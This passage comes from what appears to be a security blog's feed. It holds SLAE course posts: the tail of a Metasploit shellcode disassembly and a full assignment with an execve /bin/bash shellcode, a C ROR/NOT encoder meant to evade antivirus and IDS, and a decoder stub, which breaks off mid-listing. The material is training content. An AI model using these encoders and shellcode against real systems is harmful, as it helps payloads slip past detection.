00000028  DC1F              fcomp qword &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;edi]
0000002A  51                push ecx
0000002B  07                pop es
0000002C  0D8238B9D8        or eax,0xd8b93882
00000031  A1E8ADD325        mov eax,[0x25d3ade8]
00000036  0C2E              or al,0x2e
00000038  CB                retf
00000039  47                inc edi
0000003A  6540              gs inc eax
0000003C  3CFB              cmp al,0xfb
0000003E  1D9C15A854        sbb eax,0x54a8159c
00000043  7D54              jnl 0x99
00000045  CE                into
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we can see that the shellcode is a slightly more complex because of the shikata_ga_nai encoding routine useful to avoid null bytes.&lt;/p&gt;

&lt;p&gt;Hope you enjoyed this post, see you soon for the second msf shellcode analysis.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/phackt_ul&quot;&gt;Phackt&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>SLAE Assignment 4 - Encoding/Decoding Shellcode</title>
   <link href="https://phackt.org/slae-encoding-decoding-shellcode"/>
   <updated>2017-04-23T00:00:00+00:00</updated>
   <id>https://phackt.org/slae-encoding-decoding-shellcode</id>
   <content type="html">&lt;p&gt;&lt;br /&gt;
Student &lt;strong&gt;SLAE - 891&lt;/strong&gt;&lt;br /&gt;
Github: &lt;a href=&quot;https://github.com/phackt/slae&quot;&gt;https://github.com/phackt/slae&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&quot;&gt;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;assignment-4&quot;&gt;Assignment 4:&lt;/h3&gt;

&lt;p&gt;Code is available on my &lt;a href=&quot;https://github.com/phackt/slae/tree/master/assignment4&quot;&gt;github repo&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Our Goal:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;Create a custom encoding scheme&lt;/em&gt;&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;em&gt;POC with using the execve-stack as the shellcode&lt;/em&gt;&lt;br /&gt;
&lt;!--more--&gt;&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;Hello everybody,&lt;/p&gt;

&lt;p&gt;Today we will create an encoded shellcode and its decoding routine.  Encoding a shellcode is useful to bypass Antivirus or Intrusion Detection Systems. Our resulting shellcode and its opcodes will have no meaning at all if the encoding scheme if robust enough (for example avoid classic XOR encoding).&lt;/p&gt;

&lt;p&gt;For each byte, our encoding scheme will consists in:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Rolling four bits to the right (ROR instruction)&lt;/li&gt;
  &lt;li&gt;Getting the complement of that byte (NOT)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We will apply this encoding scheme on the following execve &lt;strong&gt;/bin/bash&lt;/strong&gt; stack shellcode:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;global&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_start&lt;/span&gt;			

&lt;span class=&quot;nf&quot;&gt;section&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;.text&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;_start:&lt;/span&gt;

	&lt;span class=&quot;c1&quot;&gt;; PUSH the first null dword &lt;/span&gt;
	&lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
	&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;

	&lt;span class=&quot;c1&quot;&gt;; PUSH ////bin/bash (12) &lt;/span&gt;

	&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x68736162&lt;/span&gt;
	&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x2f6e6962&lt;/span&gt;
	&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x2f2f2f2f&lt;/span&gt;

	&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;

	&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
	&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;

	&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;
	&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;

	&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;
	&lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Testing the execve stack shellcode provides a /bin/bash prompt indeed:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c  &amp;amp;&amp;amp; ./shellcode&lt;/span&gt;
Shellcode Length:  30
root@kali:/root/Documents/pentest/certs/slae/exam/assignment4# &lt;span class=&quot;nb&quot;&gt;id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Execve stack shellcode looks like:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;31&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;c0&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;50&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;68&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;2f&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;2f&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;6c&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;73&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;68&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;2f&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;62&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;69&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;6e&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;89&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;e3&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;50&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;89&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;e2&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;53&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;89&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;e1&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;b0&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;0b&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;80
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s now create our encoding routine (&lt;a href=&quot;https://github.com/phackt/slae/tree/master/assignment4/shellcode_encode.c&quot;&gt;shellcode_encode.c&lt;/a&gt;):&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// execve stack shellcode&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; \
&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// print shellcode&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print_shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Length %d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;x%02x&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;0x%02x,&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

	&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;	&lt;span class=&quot;n&quot;&gt;rotate&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;	&lt;span class=&quot;c1&quot;&gt;// rotate 4 bits to the right&lt;/span&gt;

	&lt;span class=&quot;c1&quot;&gt;// print initial shellcode&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Initial shellcode&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;print_shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rotate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rotate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;	&lt;span class=&quot;c1&quot;&gt;// ror method&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// one&apos;s complement &lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;c1&quot;&gt;// print encoded shellcode&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Encoded shellcode&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;print_shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;0xaa&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// marker for the end of encoded shellcode&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The encoded execve stack shellcode is the following:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0xec,0xf3,0xfa,0x79,0xd9,0xe9,0xc8,0x79,0x79,0xd9,0x69,0x19,0x0d,0x79,0x0d,0x0d,0x0d,0x0d,0x67,0xc1,0xfa,0x67,0xd1,0xca,0x67,0xe1,0xf4,0x4f,0x23,0xf7,0xaa
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s create the decoding nasm shellcode &lt;a href=&quot;https://github.com/phackt/slae/tree/master/assignment4/shellcode_decoder.nasm&quot;&gt;shellcode_decoder.nasm&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;global&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_start&lt;/span&gt;			

&lt;span class=&quot;nf&quot;&gt;section&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;.text&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;_start:&lt;/span&gt;

	&lt;span class=&quot;nf&quot;&gt;jmp&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;call_shellcode&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; jmp, call, pop technique&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;decoder:&lt;/span&gt;
	&lt;span class=&quot;nf&quot;&gt;pop&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;decode:&lt;/span&gt; 
	&lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
	&lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;
	&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;          &lt;span class=&quot;c1&quot;&gt;; we move the byte to be decoded&lt;/span&gt;
	&lt;span class=&quot;nf&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;                      &lt;span class=&quot;c1&quot;&gt;; one&apos;s complement&lt;/span&gt;
	&lt;span class=&quot;nf&quot;&gt;rol&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;                   &lt;span class=&quot;c1&quot;&gt;; rolling on left to decode the rolling on right encoding&lt;/span&gt;
	&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;          &lt;span class=&quot;c1&quot;&gt;; saving the decoded byte&lt;/span&gt;

	&lt;span class=&quot;nf&quot;&gt;lea&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;          &lt;span class=&quot;c1&quot;&gt;; next byte   &lt;/span&gt;
	&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  
	&lt;span class=&quot;nf&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xaa&lt;/span&gt;                &lt;span class=&quot;c1&quot;&gt;; looking for the end of encoded shellcode&lt;/span&gt;
	&lt;span class=&quot;nf&quot;&gt;je&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;EncodedShellcode&lt;/span&gt;   &lt;span class=&quot;c1&quot;&gt;; we jump to the decoded shellcode&lt;/span&gt;
	&lt;span class=&quot;nf&quot;&gt;jmp&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;decode&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;; keeping on decoding&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;call_shellcode:&lt;/span&gt;

	&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;decoder&lt;/span&gt;
